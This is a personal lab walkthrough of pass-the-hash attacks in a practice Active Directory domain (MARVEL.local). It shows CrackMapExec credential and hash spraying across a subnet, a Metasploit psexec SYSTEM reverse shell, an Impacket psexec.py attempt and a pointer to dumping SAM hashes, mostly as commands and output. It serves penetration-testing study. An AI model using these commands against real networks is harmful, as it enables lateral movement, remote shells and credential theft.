PASS THE HASH - CRACKMAPEXEC (1)

****PASS THE HASH ALLOWS US TO PASS THE PASSWORD THAT WE HAVE ON THAT CREDENTIALS OVER THE WHOLE NETWORK IN ORDER TO TRYING TO GET ON MACHINES THAT HAS THE SAME PASSWORD OR HASH. ****

DANGEROUS BECAUSE THERE'RE A LOT OF ADMINS REUSE THE SAME ACCOUNT AND PASSWORD TO SET UP MACHINE.

CRACKMAPEXEC IS A TOOL THAT HELPS US TO DO THAT.

CHECK SMB USER ON OUR LOCAL

```
┌──(trisdoan㉿  kali)-[~]
└─$ sudo crackmapexec smb 10.0.2.0/24
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing MSSQL protocol database
[*] Initializing SSH protocol database
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB      10.0.2.12     445   THEPUNISHER     [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.loc
al) (signing:False) (SMBv1:False)
SMB      10.0.2.2      445   DESKTOP-NMHMAQ5 [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-NMHMAQ5) (domain:DESKTO
P-NMHMAQ5) (signing:False) (SMBv1:False)
SMB      10.0.2.16     445   HYDRA-DC        [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local)
 (signing:True) (SMBv1:False)
SMB      10.0.2.14     445   SPIDERMAN       [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local
) (signing:False) (SMBv1:False)

┌──(trisdoan㉿  kali)-[~]
└─$
```

THE FIRST WAY:

```
┌──(trisdoan㉿  kali)-[~]
└─$ sudo crackmapexec smb 10.0.2.0/24 -u fcastle -d MARVEL.local -p Password1
SMB      10.0.2.12     445   THEPUNISHER     [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.loc
al) (signing:False) (SMBv1:False)
SMB      10.0.2.2      445   DESKTOP-NMHMAQ5 [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-NMHMAQ5) (domain:MARVEL
.local) (signing:False) (SMBv1:False)
SMB      10.0.2.16     445   HYDRA-DC        [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local)
 (signing:True) (SMBv1:False)
SMB      10.0.2.14     445   SPIDERMAN       [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local
) (signing:False) (SMBv1:False)
SMB      10.0.2.12     445   THEPUNISHER     [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB      10.0.2.2      445   DESKTOP-NMHMAQ5 [-] MARVEL.local\fcastle:Password1 STATUS_LOGON_FAILURE
SMB      10.0.2.16     445   HYDRA-DC        [+] MARVEL.local\fcastle:Password1
SMB      10.0.2.14     445   SPIDERMAN       [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
```

WE CAN NOW CONTROL 2 COMPUTERS WITH THE SAM EUSER

U CAN PASS THE HASH AROUND THE NETWORK BY:

-U: USER

--LOCAL-AUTH: LOCAL NETWORK

```
┌──(trisdoan㉿  kali)-[~]
└─$ crackmapexec smb 10.0.2.0/24 -u " Frank Castle" -H e22ebf259ebb12b64aeb194044c5e90f --local-auth
SMB      10.0.2.16     445   HYDRA-DC       [*]Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (si
gning:True) (SMBv1:False)
SMB      10.0.2.14     445   SPIDERMAN      [*]Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (
signing:False) (SMBv1:False)
SMB      10.0.2.2      445   DESKTOP-NMHMAQ5 [*]Windows 10.0 Build 19041 x64 (name:DESKTOP-NMHMAQ5) (domain:DESKTO
P-NMHMAQ5) (signing:False) (SMBv1:False)
SMB      10.0.2.12     445   THEPUNISHER    [*]Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:THEPUNISHE
R) (signing:False) (SMBv1:False)
SMB      10.0.2.16     445   HYDRA-DC       [-]HYDRA-DC\ Frank Castle:e22ebf259ebb12b64aeb194044c5e90f STATUS_LOG
ON_FAILURE
SMB      10.0.2.14     445   SPIDERMAN      [-]SPIDERMAN\ Frank Castle:e22ebf259ebb12b64aeb194044c5e90f STATUS_LO
GON_FAILURE
SMB      10.0.2.2      445   DESKTOP-NMHMAQ5 [-]DESKTOP-NMHMAQ5\ Frank Castle:e22ebf259ebb12b64aeb194044c5e90f STA
TUS_LOGON_FAILURE
SMB      10.0.2.12     445   THEPUNISHER    [-]THEPUNISHER\ Frank Castle:e22ebf259ebb12b64aeb194044c5e90f STATUS_
LOGON_FAILURE
```

WE HAVE 10.0.2.12 AND 10.0.2.14 HAVE THE SAME LOCAL ADMIN OF FRANK CASTLE = FCASTLE

USE PSEXEC OR MATASPLOIT TO GAIN SHELL

```
msf6 exploit(windows/smb/psexec) > set rhosts 10.0.2.14
rhosts => 10.0.2.14
msf6 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                10.0.2.14        yes       The target host(s), see https://github.com/rapid7/metasploit-framewo
                                                    rk/wiki/Using-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             marvel.local     no        The Windows domain to use for authentication
   SMBPass               Password1        no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a
                                                    normal read/write folder share
   SMBUser               fcastle          no        The username to authenticate as
```

```
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.14:445 - Connecting to the server...
[*] 10.0.2.14:445 - Authenticating to 10.0.2.14:445|marvel.local as user 'fcastle'...
[*] 10.0.2.14:445 - Selecting PowerShell target
[*] 10.0.2.14:445 - Executing the payload...
[+] 10.0.2.14:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 10.0.2.14
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.14:57509) at 2022-08-19 21:16:01 -0400

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > hostname
[-] Unknown command: hostname
meterpreter > shell
Process 5256 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19044.1889]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>hostname
hostname
SPIDERMAN

C:\Windows\system32>^X@sS
```

GAIN SHELL BY HASHES

```
└─$ sudo psexec.py "frank castle":@10.0.2.12 -hashes aad3b435b51404eeaad3b435b51404ee:e22ebf259ebb12b64aeb194044c5e90f
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.0.2.12.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[*] Found writable share Share
[*] Uploading file gPuTVYFa.exe
[*] Opening SVCManager on 10.0.2.12.....
[-] Error opening SVCManager on 10.0.2.12.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager
```

THE SECOND WAY:

-U: USER

-H: HASH

--LOCAL: OUR LOCAL NETWORK

```
root@kali:~/Downloads# crackmapexec 10.0.3.0/24 -u fcastle -H eb7126ae2c91ed56dcd475c072863269 --local
CME           10.0.3.4:445 HYDRA-DC        [*] Windows 6.3 Build 9600 (name:HYDRA-DC) (domain:MARVEL)
CME           10.0.3.6:445 SPIDERMAN       [*] Windows 10.0 Build 17134 (name:SPIDERMAN) (domain:MARVEL)
CME           10.0.3.7:445 PUNISHER        [*] Windows 10.0 Build 17134 (name:PUNISHER) (domain:MARVEL)
CME           10.0.3.4:445 HYDRA-DC        [-] HYDRA-DC\fcastle eb7126ae2c91ed56dcd475c072863269 STATUS_LOG
ON_FAILURE
CME           10.0.3.6:445 SPIDERMAN       [-] SPIDERMAN\fcastle eb7126ae2c91ed56dcd475c072863269 STATUS_LO
GON_FAILURE
CME           10.0.3.7:445 PUNISHER        [+] PUNISHER\fcastle eb7126ae2c91ed56dcd475c072863269 (Pwn3d!)
```

FUTHERMORE

WE CAN ADD --SAM TO DUMP SAM FOLDER/HASHES

SAM FOLDER SAME AS SHADW FILE ON LINUX